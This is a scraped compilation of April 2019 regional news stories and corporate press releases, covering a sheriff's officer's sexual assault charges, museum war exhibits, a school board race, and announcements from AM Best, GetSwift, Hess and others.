charged him with three counts of felony rape, two counts of felony criminal sex act, and eight counts of misdemeanor sexual abuse. The judge allowed Snyder to remain free on the $25,000 bail set at his initial arraignment last month. He is expected to appear in court whenever necessary or bail could be revoked. A conference has been scheduled for June 28. Danielle Smith, Snyder's attorney with DerOhannesian & DerOhannesian firm in Albany, declined to comment Friday. In March, Snyder was charged with three counts each of rape, criminal sex act and official misconduct as well as sexual abuse. At the time, Albany County Sheriff Craig Apple said a female inmate filed a complaint saying the officer had assaulted her three times over two weeks. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. Sheriff's Investigators were able to secure evidence that was then turned over to the State Police Crime Laboratory for analysis. Snyder has been with the sheriff's department for 19 years. Prosecutors also have requested Snyder submit to HIV testing and allow a cheek swab for DNA testing. They also asked that an order of protection be issued. SARATOGA SPRINGS The state Military Museum tells the story of America's wars the men and women who fought them and the politics behind them. Since its opening in 2001, it has shown visitors enduring displays of the Revolutionary War through World War II that include everything from art to artillery. Now, thanks to the efforts of Chief Curator Mark Koziol, the museum has opened two new permanent exhibitions those commemorating the Korean and Vietnam wars. Set on the backdrop of the Cold War and decades-long fear of communism, the displays abound with artifacts and oral histories that tell the story from home and abroad. "It's important to remember how we got involved in different conflicts over the years," Koziol said after walking through the two exhibitions. "It's important to know how we got to where we are now. It's also important to remember the service and sacrifice of our soldiers and our military personnel." Since 2015, when Koziol joined the staff, he has devoted his time to the research and writing of these exhibitions. The years spent with history books and the items that he has collected, mainly from New York state veterans, provided him with an intimate and tangible knowledge of the war that he said started with American distrust of communism. "It goes back long before World War II," Koziol said. "It goes back to the Russian Revolution (1917) and .... escalates when Russia gets the (atomic) bomb." The exhibitions begin with American apprehension as illustrated by U.S. efforts in civil defense -- mainly the fallout shelters of the 1950s and 1960s, identified by the once ubiquitous yellow and black signs. A duck-and-cover film running continuously complements the artifacts such as a gas mask, radiation detector and survival rations including a large tin of crackers. The display then moves overseas to maps that direct the eye through the invasion of North Koreans into the south. Among the numerous artifacts in the Korean exhibition are weapons like the Browning automatic rifle and Soviet machine guns, a 45-caliber pistol, water purification tablets and watercolors of the war by Ballston Spa marine Steve Jordan. Koziol's favorite vestiges are the Korean uniforms. The light cotton uniforms first issued are contrasted by heavy winter wear that was a must as the three-year war continued. He points to a pair of mittens with an opening so soldiers could pop out their trigger finger so they could continue to fire their weapons while keeping the rest of their hand warm. Koziol says the uniforms speak of the adversity the soldiers faced. "I find the winter gear fascinating," he said. "The uniforms bring back a lot of memories for the marines who were at the Battle of Chosin and the hardships of extreme temperatures." While the Korean War ended in 1953, tensions between the U.S. and communist countries did not ease, Koziol said, thus the entry into Vietnam. Among the most moving items, Koziol said, is the metal helmet worn by Capt. Dennis Finnegan that is blasted through the top when the helicopter he was riding in was shot down over a rice paddy. He died at 29. "It represents the sacrifices of over 50,000 men and women who fought and died in the war," Koziol said. "It's a sober reminder." Koziol also points out that U.S. marine flak jacket that was so heavy that soldiers often didn't wear it, at the risk of their lives. The pristine one on display was worn by First Lt. David Wallingford of Saratoga Springs, stationed in Dong Ha Quang Tri. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. There are other items that all veterans were familiar, the mess kit, backpack radios, grenades and rations that included cigarettes and matches. Koziol said the Vietnam conflict was unfortunate because the South Vietnamese were not invested in the fight like the South Koreans were during the Korean War. He also said much of the war was motivated by politics, not actual military strategy. "A lot of veterans felt that they fought the war with one hand tied behind their backs," Koziol said. Throughout both exhibitions, visitors can hear these veterans speak. Kiosks play video of recorded oral histories that the museum has collected and continues to collect. "I think one of the most exciting things about the exhibits, to hear from the men and women who were there," Koziol said. The curator said he hopes many will come and explore the exhibits, which he said are important for all Americans to understand -- mainly so that history does not repeat itself. "We want them to understand what happened during the cold war," Koziol said. "Tensions between the Soviet Union and the U.S. boiled up to the point that there was actually fighting wars in Korea and Vietnam. We also want visitors to think about New Yorkers who fought in the wars. There have been many brave men and women who fought and so many haven't come home. We need to know how (the wars) happened so future leaders don't stumble." Washington The Pentagon's watchdog agency Thursday cleared Acting Defense Secretary Patrick Shanahan of wrongdoing in connection with allegations that he used his official position to favor his former employer, Boeing Co. The decision by the Defense Department inspector general appears to open the door for President Donald Trump to nominate Shanahan to succeed Jim Mattis as defense secretary. Shanahan is not thought to face any organized opposition to Senate confirmation, although his career service in the defense industry and limited government experience could be issues. After Mattis quit last December in protest of Trump's policies, the president installed Shanahan as acting secretary but did not nominate him. Although he has publicly praised Shanahan's work, Trump has seemed content letting him remain in limbo, as he has with a number of other Cabinet-level officials and others. Shanahan, who spent 31 years at Boeing, has been serving as the interim Pentagon chief since Jan. 1, after Mattis resigned. The allegations of bias toward Boeing stemmed from his 18 months as deputy defense secretary, beginning in July 2017. In a written statement summarizing the outcome of its probe, which began on March 15, the inspector general's office said it "did not substantiate any of the allegations and determined that Acting Secretary Shanahan fully complied with his ethical obligations and agreements regarding Boeing and its competitors." Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. Glenn Fine, the interim inspector general, issued a separate statement saying the probe had been conducted "fairly, thoroughly and expeditiously." A spokesman for Shanahan, Army Lt. Col. Joe Buccino, said Shanahan's ethics agreement "ensures no potential for a conflict of interest with Boeing on any matter." He said Shanahan is focused on "retooling the military for great power competition," executing the national defense strategy and caring for service members and their families. Among the allegations investigated: That Shanahan had "boosted" Boeing in Pentagon meetings; that he made disparaging remarks about Boeing competitors; and that he "repeatedly dumped" on Lockheed Martin's F-35 aircraft. SARATOGA SPRINGS A group that wants to see more armed guards in schools paid $9,000 to a Florida political consulting firm that once organized the raffle of an AR-15 semiautomatic assault rifle to boost a client's gubernatorial campaign. Saratoga Parents for School Safety (SPSS) paid Go Right Strategies out of the $33,000 the parents' group has raised to elect three school board candidates who want to re-arm the Saratoga Springs City School district's grounds monitors. The group said the money is going toward digital advertising on Facebook and Google. The New York State School Board Association said the average school board candidate statewide spends less than $500 on a campaign. The spending on these races is a sign of the heated controversy over the district board of education's October vote to disarm grounds monitors to align the district with state and federal law. Heather Reynolds, an incumbent school board members who is running to save her seat after voting to disarm the monitors, was one of those who criticized the decision to hire the firm. Spence Rogers of Go Right Strategies came up with the AR-15 raffle to support Republican Corey Stewart's unsuccessful 2017 bid for Virginia governor. "Spending $9,000 on a Florida-based conservative Republican consultant for a local school board race in a district our size really challenges the claim that Saratoga Parents for Safer Schools is an apolitical organization run by a group of concerned parents," Reynolds said. "What does a Florida-based political consultant know about our local concerns and the issues that impact our district?" she continued. "I don't have the answers, but I think these are questions that the voters should think seriously about before casting their ballot. " Kara Rosettie, founder of SPSS, said that criticism is a distraction from the what's important. Rosettie and her group wants the part-time monitors to carry guns, in addition to the school's two resource officers, in order to reduce emergency response times to the schools in case of a mass shooting. "I understand that the anti-school-safety candidates want to make this race about anything except the issues," Rosettie said. "But even for them, this seems like a stretch. We look forward to election day, May 21st." Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. The parents group's fundraising efforts will benefit candidates Ed Cubanski, Dean Kolligan and Shaun Wiggins. Among their donors was Amsterdam ophthalmologist David Kwait, who gave $12,000. While declining to comment on the decision to hire Go Right Strategies, he said he trusts SPSS to spend the money wisely. "This is not a political issue," said Kwait, who has two children in the school district. "People are trying to make it a political issue I have never been political in my life. Our job as parents is to correct dangerous decisions made by the school board. There is nothing more important than our kids." In addition to Cubanski, Kolligan, Wiggins and Reynolds, the school board race includes John Brueggemann, Natalya Lakhtakia, who oppose the re-arming of the grounds monitors, and Connie Woytowich, who supports it. ALBANY The "Senate Coup" of 2009 caught Albany by surprise, but the plan was set in motion months earlier after Senate Democrats first secured their slim majority. This first episode of Capitol Confidential's "Tales from the Coup" podcast series focuses on the leadership battle after the 2008 election and how it signaled a willingness among some senators to play both sides of the political aisle. A large pothole is being credited with possibly saving a man's life in Nebraska. ABC 6 WOWT reported that an ambulance carrying a 59-year-old man suffering from a dangerously fast heartbeat hit a deep hole in the roadway while en route to a hospital. Medics monitoring the man's heartbeat reportedly told the hospital that the impact of the wheel striking the pothole instantly caused the heart rate to drop from about 200 beats a minute to a normal rhythm. "It's rare, but it's a well-described phenomenon," Nebraska Medicine's Dr. Andrew Goldsweig told WOWT. "One way to treat that is with an electrical shock. Classically, you'll see it on television. The paddles, 'Clear' and a big jolt. Turns out, you can do that with a pothole." A rapid heartbeat between 160 and 200 beats per minute is known as supraventricular tachycardia. Caused by faulty electrical signals in the upper parts of the heart, it is also associated with a heart attack and can be life-threatening. RELATED: Pothole shuts down runway at San Francisco International Airport The incident occurred last week in Gretna, Neb. The patient, who had no previous history of heart problems, was expected to be released from the Lakeside Hospital. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. --- Read Mike Moffitt's latest stories and send him news tips at moffitt@sfgate.com. Start receiving breaking news emails on wildfires, civil emergencies, riots, national breaking news, Amber Alerts, weather emergencies, and other critical events with the SFGATE breaking news email. Click here to make sure you get the news. Word on the street is that Qualcomm and Samsung will be the companies tapped to supply 5G modems for the 2020 iPhone lineup. Thats following the settlement between Qualcomm and Apple and Intels departure from the 5G modem game. But Intel isnt giving up what it already has. According to Stephen Nellis of Reuters, Intel expects to continue to supply 4G modems for the iPhone lineup, which will likely include the iPhone 11 later this year. That expectation was delivered by Intels CEO, Bob Swan, during the companys latest earnings call. Heres the quote, as tweeted today by Nellis: Here's the quote: "Our expectation is we will continue to deliver on the 4G modem throughout the course of this year, including the second iteration of that product coming in the fall back to school season." https://t.co/CIgJjBUdV9 Stephen Nellis (@StephenNellis) April 25, 2019 The reality of the situation is that its too late in the 2019 iPhone lifecycle for Apple to switch things up already, even if the devices arent set to arrive until later this year. While Apple and Qualcomm have figured things out, that relationship wont see the fruits of the patchwork until 2020. That means there will be one more iteration of the iPhone family that features Intel modems inside. But once 2020 rolls around, and 5G (probably) becomes the standard for cellular connectivity, it looks like it will be Qualcomm and Samsung carrying that burden. [via @StephenNellis [April 26, 2019] AM Best Revises Outlooks to Positive for Insurance Company London-Almaty JSC AM Best has revised the outlooks to positive from stable and affirmed the Financial Strength Rating of C++ (Marginal) and the Long-Term Issuer Credit Rating of "b+" of Insurance Company London-Almaty JSC (London-Almaty) (Kazakhstan). The positive outlooks reflect the improvement in London-Almaty's underwriting performance in 2018, as demonstrated by a combined ratio of 94.4% (2017: 104.3%), and AM Best's expectation of robust technical results over the medium term. Additionally, AM Best notes a strengthening of the company's balance sheet strength during 2018, as it improved the credit quality of its investment portfolio and reduced its dependence on reinsurance. The ratings reflect London-Almaty's balance sheet strength, which AM Best categorises as strong, as well as its marginal operating performance, very limited business profile and weak enterprise risk management (ERM). The company's balance sheet assessment is underpinned by its risk-adjusted capitalisation being at the strongest level, as measured by Best's Capital Adequacy Ratio (BCAR). Although AM Best expects London-Almaty's risk-adjusted capitalisation to decline over the medium term as a result of planned underwriting growth and dividend payments, it is likely to remain comfortably within AM Best's strongest assessment. During 2018, the company reduced its exposure to credit risk by reinvesting into better quality fixed-income securities and reducing its reinsurance dependence by increasing risk retention on profitable business and discontinuing a number of fronting contracts. Nonetheless, London-Almaty's balance sheet strength remains negatively affected by the company's small capital base, which increases its sensitivity to shock events, and its exposure to the high financial system risk in Kazakhstan. London-Almaty has been profitable in recent years, albeit with volatile earnings that have been dependent on investmentincome. Following changes to the company's management team in 2015, its underwriting performance improved from historical levels, but remained dampened by its high cost base. In 2018, London-Almaty was able to achieve a technical profit, driven by a substantial rise in its net written premiums of 45%, as well as management actions to contain expenses. AM Best expects London-Almaty's prospective underwriting results to be positive, but dependent on its ability to control acquisition costs whilst achieving revenue growth in a highly completive insurance market. London-Almaty is a mid-tier insurer and ranked 13th in the Kazakh non-life market based on 2018 gross written premiums (GWP). Despite ambitious growth plans, success has been mixed, with GWP contracting by approximately 11% over the past two years. The company's approach to risk management is focused principally on adhering to local regulatory guidelines and requirements. An undeveloped internal risk management framework and the company's exposure to the heightened economic, political and financial system risks associated with operating in Kazakhstan remain offsetting factors in AM Best's assessment of its ERM. This press release relates to Credit Ratings that have been published on AM Best's website. For all rating information relating to the release and pertinent disclosures, including details of the office responsible for issuing each of the individual ratings referenced in this release, please see AM Best's Recent Rating Activity web page. For additional information regarding the use and limitations of Credit Rating opinions, please view Understanding Best's Credit Ratings. For information on the proper media use of Best's Credit Ratings and AM Best press releases, please view Guide for Media - Proper Use of Best's Credit Ratings and AM Best Rating Action Press Releases. AM Best is a global rating agency and information provider with a unique focus on the insurance industry. Visit www.ambest.com for more information. Copyright 2019 by A.M. Best Rating Services, Inc. and/or its affiliates. ALL RIGHTS RESERVED. View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005376/en/ [ Back To TMCnet.com's Homepage ] [April 26, 2019] Birgit M. Klohs named commencement speaker for Davenport University Birgit M. Klohs, president and CEO of The Right Place, Inc., will serve as Davenport University's 2019 commencement speaker on Sunday, April 28, at Van Andel Arena in Grand Rapids, Michigan. As more than 900 students receive their bachelor's and graduate degrees in business, technology, health and urban education from Davenport University, Klohs will receive an honorary doctorate of business degree. "It is an honor to have Birgit Klohs speak at this year's commencement ceremony," said Dr. Richard Pappas, president of Davenport University. "As a former Davenport University Peter C. Cook Excellence in Business Award honoree and a recent inductee into the Michigan Women's Hall of Fame, Birgit is a model example for our students of how to create a successful and community-minded career." This year's Davenport University graduates range in age between 19 and 64. They hail not only from cities across Michigan but also from 21 states across the U.S. as well as internationally. Nearly 40 percent of this year's students are the first in their families to graduate from college. Students will be earning degrees spanning from accounting to cybersecurity to occupational therapy and nursing with nearly 30 percent graduating with a master's degree and another60 percent earning their bachelor's. Klohs has served as the president and CEO for The Right Place, Inc., a regional economic development organization, for more than 30 years. Under her leadership, it has created more than 44,000 new and retained jobs while spurring over $4.8 billion in new investment throughout West Michigan. As a leading economic development strategist, Klohs collaborates with local, state and national organizations on critical issues related to economic development. Klohs' career began as an industrial consultant with the Berrien County Economic Development Corporation. She later served with the Michigan Department of Commerce and then Grand Valley State University, where she was assistant director of the Office of Economic Development. Klohs is a graduate of Western Michigan University and the Economic Development Institute. She also completed the economic development finance program through the National Development Council as well as Harvard's executive management programs. Graduates will walk at a ceremony held at the Van Andel Arena in downtown Grand Rapids at 1 p.m. on Sunday, April 28. More information about the ceremony and a live streamed video can be accessed at davenport.edu/commencement. About Davenport University Founded in 1866, Davenport is a private, non-profit university serving about 7,500 students at campuses across Michigan and online. With tuition among the lowest of all private universities in the state, Davenport provides high academic quality, small class sizes, conveniently located campuses, faculty with real-world experience and more than 60 dynamic undergraduate and graduate programs addressing in-demand careers in business, technology, health professions and urban education. More information is available at www.davenport.edu. View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005440/en/ [ Back To TMCnet.com's Homepage ] [April 26, 2019] Georgia Legislature Passes Law To Address Broadband Needs In Rural Georgia TUCKER, Ga., April 26, 2019 /PRNewswire/ -- Georgia Gov. Brian Kemp signed legislation today giving electric membership cooperatives (EMCs) in Georgia legal authority to provide broadband services. Championed by Sen. Steve Gooch (R - Dahlonega) and Rep. Jay Powell (R - Camilla), Senate Bill 2 provides legal clarity to Georgia's EMCs allowing them to carefully consider how they can participate in efforts to improve broadband access in their respective communities. "We appreciate the leadership of Gov. Kemp, Sen. Gooch and Rep. Powell on this important issue," says Georgia EMC President/CEO Dennis Chastain. "Access to broadband services can give rural Georgians a fair chance in our state's evolving economy." Removing barriers for the expansion of broadband to rural Georgia has become a top priority for state lawmakers, recognizing that a lack of high-speed internet is a barrier to quality education, economic development, telemedicine and improved quality of life for many Georgians. Without access, new and growing businesses, entrepreneurs and others are likely to flee areas that lack broadband, putting rural Georgia at a tremendous disadvantage. While lawmakers, business leaders and opinion makers agree broadband is one important element that could help put rural Georgia on the path to prosperity, the cost to build fiber networks combined with rapidly changing wireless technologies creates significant challenges for extending broadband service to the expnsive and lesser populated areas of the state. For that reason, each of the 41 EMCs in Georgia will need to work with their board and members to explore the potential challenges and opportunities in their respective communities. "Some EMCs may find offering broadband directly to members is not feasible due to operational or budgetary challenges," Chastain notes. "Others will likely rely on partnerships with established companies and existing providers rather than provide direct-to-consumer broadband services. And in some cases, many of an EMC's members may already have high-speed internet service. Regardless, the passage of Senate Bill 2 encourages continued dialogue among a variety of stakeholders to identify the best and most efficient way to expand broadband service." EMC representatives caution an undertaking of this magnitude will require support and involvement from a variety of participants throughout a long, deliberative process. After the Rural Electrification Administration was established in the mid-1930s, it took decades to fully plan, fund and build the state's rural electric infrastructure. A similar comprehensive processincluding gaining critical board and member inputwill be required as any EMC considers the deployment of high speed internet service. "Georgia's EMCs have a reputation for the careful planning of reliable, safe and affordable delivery of electricity," says Chastain. "The same due diligence will be essential when evaluating broadband services." Georgia joins several neighboring states such as Alabama, Tennessee and Mississippi that have passed legislation aimed at expanding broadband access for customers in rural areas. Georgia EMC is the statewide trade association representing the state's 41 electric cooperatives, Oglethorpe Power Corp., Georgia Transmission Corp. and Georgia System Operations Corp. Collectively, Georgia's customer-owned co-ops provide electricity and related services to 4.4 million people, nearly half of Georgia's population, across 73 percent of the state's land area. To learn more, visit www.georgiaemc.com and follow us on Facebook and Twitter. View original content to download multimedia:http://www.prnewswire.com/news-releases/georgia-legislature-passes-law-to-address-broadband-needs-in-rural-georgia-300839286.html SOURCE Georgia EMC [ Back To TMCnet.com's Homepage ] [April 26, 2019] GetSwift Limited Announces Appendix 4C and Board Update GetSwift Limited (ASX: GSW) ('GetSwift' or the 'Company'), today lodged its unaudited Appendix 4C Report for the period ending 31 March 2019. Total revenue and other income for the quarter ending 31 March 2019 was approximately $1.085 million, an increase of 197 per cent on the equivalent quarter last year and an increase of 52 per cent from the preceding quarter ending 31 December 2018. On 20 February 2019, the Company announced two strategic SaaS (News - Alert) acquisitions in North America: Delivery BIZ Pro and Scheduling+. Net loss after tax was approximately $6.7 million of which a significant amount had been allocated for technology staff growth and R&D platform enhancements for the quarter ending 31 March 2018. Delivery BIZ Pro ("DBP") is a subscription-based cloud service for businesses with recurring product orders particularly within the produce, meal-kit, farm-to-table, water, home and commercial delivery sectors. DBP's platform brings together key components that allow recurring delivery industry sectors to employ the best methodology for their logistics fulfillment. Scheduling+ ("SP") combines staff scheduling, task management, time and attendance recordkeeping, and payroll into one easy to use subscription-based cloud solution, which allows businesses of all sizes to reduce the amount of time spent on employee management and optimise human capital management. Given the transformation of the Company through these two acquisitions and enhanced product offerings, the Company believes that transactions are no longer a suitable representation of business activity for investors and customers. As such, the Company will not be providing transaction numbers going forward, and will instead report on revenue. Integration of DBP and SP has progressed as planned. The Company continues to invest in technology and enterprise integrations, including new product development. The Company's new software development centre in Denver, Colorado is progressing well with continued hires in the March quarter. In the quarter the Company also opened a new tech development campus in Europe to meet client growth needs. On 17 April 2019, the High Court of Australia dismissed an application for special leave to appeal the decision of the Full Court of the Federal Court of Australia. As previously advised, the decision of the Full Court of the Federal Court that only one of three competing class actions filed against the Company could continue, was subject to an application for special leave to appeal to the High Court of Australia. The Company resisted the application and pressed for a determination that only one class action proceed. As a result of the High Court's decision, the judgment of the Full Court is now final and only one class ation will continue against the Company: the Webb class action. The Webb class action has been proceeding in the interim and the trial of the matter is now scheduled to commence on a date not before 17 August 2020. In dismissing the application for leave, the High Court ordered the costs against the party bringing the application, meaning the Company will recover some of the costs associated with the application for leave. Separately, the Company advised in February this year that the Australian Securities and Investments Commission (ASIC) commenced civil penalty proceedings against the Company and two of its directors. ASIC have since added allegations against Mr Brett Eagle, a former director and General Counsel of the Company. The trial of the ASIC proceedings is now scheduled to commence in June 2020. As previously advised, The Company strongly disputes the allegations made in both the Webb class action and the ASIC proceeding, including any alleged loss, and is vigorously defending the proceedings. The Company will continue to keep shareholders informed of any relevant developments. Administration and Corporate Costs continued to be significant cash expenditures due to legal costs and increased governance expenses. These expenses include the aforementioned costs for defending proceedings before the Federal Court of Australia and the ASIC proceeding. Administrative and Corporates Costs will be higher in the June fiscal quarter due to these recent corporate events. The Company has and will continue to vigorously defend these proceedings, and will continue to robustly pursue all legal options to protect shareholder interests. The Company has a strong balance sheet, with the quarter ending 31 March 2019 holding substantial liquidity with cash, cash equivalents, and bank term deposits of $74.4 million and no outstanding debt. Board Update David Ryan, Belinda Gibson, and Michael Fricklas have decided to step down from the Board effective 26 April 2019. Michael Fricklas said on behalf of Belinda Gibson, David Ryan, and himself, "As members of the Board of GetSwift, we are proud of how the Company has matured over the past year. The Company's products are achieving success in the market and it has many accomplishments." Mr. Fricklas also said, "Nonetheless, we have different views as to the manner in which the Company engages with its Board, and in light of this, have decided to resign. We are all shareholders ourselves and we hope the Company has great success in the future." The Company is very grateful for their service and contributions over the last twelve months particularly in the area of improving the Company's corporate governance and reporting structures. The Company is in a stronger position as result of their contributions and those governance enhancements remain intact. Consistent with the Company's focus on growth and scaling the business to meet global demand including the recent addition of Independent Non-Executive Director, Marc Naidoo to the Board, the Company intends to shortly appoint at least two new Independent Non-Executive Directors to the Board. Importantly, once these new appointments take effect, the Board will continue to have a majority of independent directors and remain diverse. The Company feels that it is appropriate to shift toward Directors with significant experience generating revenues and scaling commercial operations for growth. The Company has already identified several strong candidates that meet these requirements. The Company's goal remains to have best-in-class governance and seasoned business leaders with commercial experience to help the Company rapidly expand its growth and take advantage of global opportunities. The Company and management are committed to continuing to act in the best interest of shareholders to create long-term shareholder value. The company will now focus on a new phase of its development with major focuses on scaling both revenues and technology development efforts whilst corporate governance continues to be enforced. Investor Conference Call The Company will host a shareholder call following the announcement of the new Independent Non-Executive Directors. About GetSwift Limited Technology to Optimise Global Delivery Logistics GetSwift is a worldwide leader in delivery management automation. From enterprise to hyper-local, businesses across dozens of industries around the globe depend on GetSwift's SaaS platform to bring visibility, accountability, efficiency and savings to their supply chain and "Last Mile" operations. GetSwift is headquartered in New York City and is listed on the Australian Securities Exchange (ASX:GSW). For further background, please visit GetSwift.co. View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005272/en/ [ Back To TMCnet.com's Homepage ] [April 26, 2019] Hess Corporation Makes Application to Cease to Be a Reporting Issuer in Canada Hess Corporation (NYSE: HES) ("Hess") announced today that it has applied to the Ontario Securities Commission (the "OSC") to cease to be a reporting issuer in Ontario (the "Order"). Hess has not been listed on a Canadian stock exchange for twenty years, and is not a reporting issuer in any other Canadian jurisdiction. If the OSC grants the Order, Hess will cease to be a reporting issuer in Canada but will continue to file all financial statements and other continuous disclosure materials that it is required to file in accordance with applicable United States' securities laws and the rules of the New York Stock Exchange (the "NYSE"). As a result of Hess ceasing to be a reporting issuer, some of Hess's outstanding securities may be subject to resale restrictions within Canada under applicable Canadian securities laws. All of Hess's continuous disclosure documents are publicly available from the Securities and Exchange Commission at www.sec.gov and Hess's Canadian securityholders will continue to receive copiesof any continuous disclosure documents that Hess is required to deliver to securityholders in the United States, in the same manner and at the same time as is required under applicable United States' securities laws and the rules of the NYSE. Forward-Looking Statements This press release contains forward-looking statements and forward-looking information within the meaning of applicable securities laws. Such statements include, without limitation, statements pertaining to the Order and Hess's continued delivery of continuous disclosure documents. The forward-looking statements are based on management's current expectations and beliefs concerning future developments and their potential effect on Hess based on information currently available to management. While management believes that these forward-looking statements are reasonable as and when made, there can be no assurance that future developments affecting Hess will be those anticipated. Forward-looking information involves known and unknown risks, uncertainties, assumptions and other factors that may cause actual results or events to differ materially from those anticipated in such forward-looking information. Important factors that could cause actual results to differ materially from those in the forward-looking statements include, but are not limited to regulatory actions taken by the OSC. The forward-looking statements contained in this press release are made as of the date hereof and Hess undertakes no obligations to update publicly or revise any forward-looking statements or information, whether as a result of new information, future events or otherwise, unless so required by applicable securities laws. Hess Corporation is a leading global independent energy company engaged in the exploration and production of crude oil and natural gas. More information on Hess Corporation is available at http://www.hess.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005008/en/ [ Back To TMCnet.com's Homepage ] [April 26, 2019] MightyHive Acquires ProgMedia SAN FRANCISCO, April 26, 2019 (GLOBE NEWSWIRE) -- MightyHive , the leading media consultancy, today announced it has acquired ProgMedia, a Brazilian-based programmatic solutions consulting firm. Under the terms of the agreement, ProgMedia becomes a wholly-owned subsidiary of MightyHive. The acquisition expands MightyHives operations into Latin America and is expected to increase ProgMedias customer base and revenue in Brazil and Latin America by more than 200 percent over the next 12 months. MightyHive is one of the largest and fastest-growing programmatic buyers in the world and now operates throughout North America, Europe, Asia-Pacific and Latin America. With this acquisition, MightyHive enters the Latin American ad market, the fourth-largest in the world , accounting for 6.1 percent of worldwide media ad spending in 2018, with Brazil owning the largest spend in the market. MightyHives growth by acquisition this week is consistent with S4 Capitals strategy of broadenng our capabilities in first-party data, content and media around the world, said Pete Kim, MightyHive CEO. ProgMedia is the strongest programmatic company in the region and will propel our Latin American business forward so we can capitalize on the clear market opportunity here. We expect our success will lay the groundwork for further acquisitions in 2019 and 2020. The acquisition will allow current customers of ProgMedia to draw on MightyHives international strength and partnerships, as well as allow global enterprises to extend their in-housing or programmatic initiatives with MightyHive to Latin America. ProgMedia plans to rebrand itself as MightyHive in the coming year as it broadens its service offering and technology partners. Bruno Reboucas, CEO and Founder, and Natalia Fernandes, COO and Partner, will remain as the leaders of the ProgMedia team and will report to Emily Del Greco, President of the Americas for MightyHive. Over the last several months, we have had a surge of demand for Latin America-based support and consulting from our multi-national clients. I am delighted to work with Bruno, Natalia, and team to scale MightyHive's offering into this critically important region, said Emily Del Greco, President of the Americas, MightyHive. We feel strongly that this move is the right one for ProgMedias clients and team, said Bruno Reboucas, CEO and founder of ProgMedia. MightyHives culture and values reflect ProgMedias high standards for client service and employee happiness. Moreover, we share a vision to help companies master the technologies required to digitally transform themselves for success. We look forward to working with MightyHive to help marketers and agencies in Latin America fully realize the potential of advanced marketing and advertising technologies. About MightyHive MightyHive is a new breed of media consultancy that partners with global brands and agencies seeking transformative marketing results in a time of massive disruption and opportunity. Recognized as the global leader in advanced marketing and advertising technologies, MightyHive provides consulting and services in the areas of media operations and training, data strategy and analytics. The company is headquartered in San Francisco, with offices in Auckland, London, Melbourne, New York, Singapore, Stockholm, Sydney, Tokyo, Toronto, Vancouver and Montreal. In 2018, MightyHive merged with S4 Capital plc (SFOR.L), a new age/new era digital advertising and marketing services company established by Sir Martin Sorrell. About ProgMedia ProgMedia is a Sao Paulo, Brazil-based programmatic consultancy founded in 2017. The company is led by two former Google employees, Bruno Reboucas and Natalia Fernandes. The company provides consultancy, campaign operations, and training capabilities for clients in Latin America. Contact Cassady Nordeen Blast PR for MightyHive [email protected] 718-644-0273 [ Back To TMCnet.com's Homepage ] [April 26, 2019] Phoenix New Media Filed 2018 Annual Report on Form 20-F BEIJING, April 26, 2019 /PRNewswire/ -- Phoenix New Media Limited ("Phoenix New Media", "ifeng" or the "Company") (NYSE: FENG), a leading new media company in China, today announced that it filed its annual report on Form 20-F for the fiscal year ended December 31, 2018 (the "2018 20-F") with the Securities and Exchange Commission on April 26, 2019. The 2018 20-F can be accessed on the Company's investor relations website at http://ir.ifeng.com. The Company will provide a hard copy of its audited consolidated financial statements contained in the 2018 20-F, free of charge, to its shareholders and ADS holders upon request. Requests can be directed to Qing Liu, Phoenix New Media Limited, Sinolight Plaza, No. 4 Qiyang Road, Wangjing, Chaoyang District, Beijing 100102, People's Republic of China. About Phoenix New Media Limited/b> Phoenix New Media Limited (NYSE: FENG) is a leading new media company providing premium content on an integrated Internet platform, including PC and mobile, in China. Having originated from a leading global Chinese language TV network based in Hong Kong, Phoenix TV, the Company enables consumers to access professional news and other quality information and share user-generated content on the Internet through their PCs and mobile devices. Phoenix New Media's platform includes its PC channel, consisting of ifeng.com website, which comprises interest-based verticals and interactive services; its mobile channel, consisting of mobile news applications, mobile video application, digital reading application and mobile Internet website; and its operations with the telecom operators that provides mobile value-added services. For investor and media inquiries please contact: Phoenix New Media Limited Qing Liu Email: [email protected] ICR, Inc. Jack Wang Tel: +1 (646) 405-4883 Email: [email protected] View original content:http://www.prnewswire.com/news-releases/phoenix-new-media-filed-2018-annual-report-on-form-20-f-300839021.html SOURCE Phoenix New Media Limited [ Back To TMCnet.com's Homepage ] [April 26, 2019] RenewX 2019 Gets Underway Today to Accelerate the Growth of the South Indian Renewable Energy Market HYDERABAD, India, April 26, 2019 /PRNewswire/ -- More than 100 exhibitors, thought leaders and industry experts congregate at the expo in Hyderabad From the organisers of Renewable Energy India Expo (REI India) UBM India, the leading B2B exhibitions organiser commenced the fourth edition of RenewX, a two-day Renewable Energy trade expo at the Hitex Exhibition center, today. Sri Ajay Mishra, IAS, Spl. Chief Secretary, Govt of Telangana; Sri G. Raghuma Reddy, CMD, TSSPDCL; Mr.Shantanu Jaiswal, Head India Research, BloombergNEF; Mr. Jean-Francois Aernouts, Trade Commissioner, Consulate General of Belgium; Mr.Yogesh Mudras, Managing Director, UBM India Pvt Ltd and Mr. Rajneesh Khattar, Group Director, UBM India Pvt Ltd inaugurated the expo in the presence of dignitaries and industry experts from the South Indian renewable energy sector. (Logo: Logo: https://mma.prnewswire.com/media/675607/UBM_Logo.jpg ) (Logo: https://mma.prnewswire.com/media/873264/RenewX_Logo.jpg ) (Photo: https://mma.prnewswire.com/media/877990/RenewX_2019_Chief_Guests.jpg ) (Photo: https://mma.prnewswire.com/media/877991/RenewX_2019_Inauguration.jpg ) Augmented further by the legacy of its flagship show, Renewable Energy India Expo (REI India), RenewX 2019 has brought together the renewable energy professionals under one roof, giving them an exciting opportunity to network with leading experts, thought leaders and also showcase their innovations in the sector. The expo is an ideal platform for organizations to capitalize and penetrate into the burgeoning South Indian renewable energy market. In the fourth edition of RenewX2019, over 100 exhibitors participated, endeavouring to make a difference in the renewable energy domain of South India including Jinko Solar, Waaree Energies, Goldi Solar, Polycab, Canadian Solar, Premier Solar, Havells, Bergen Associates, Exide industry, 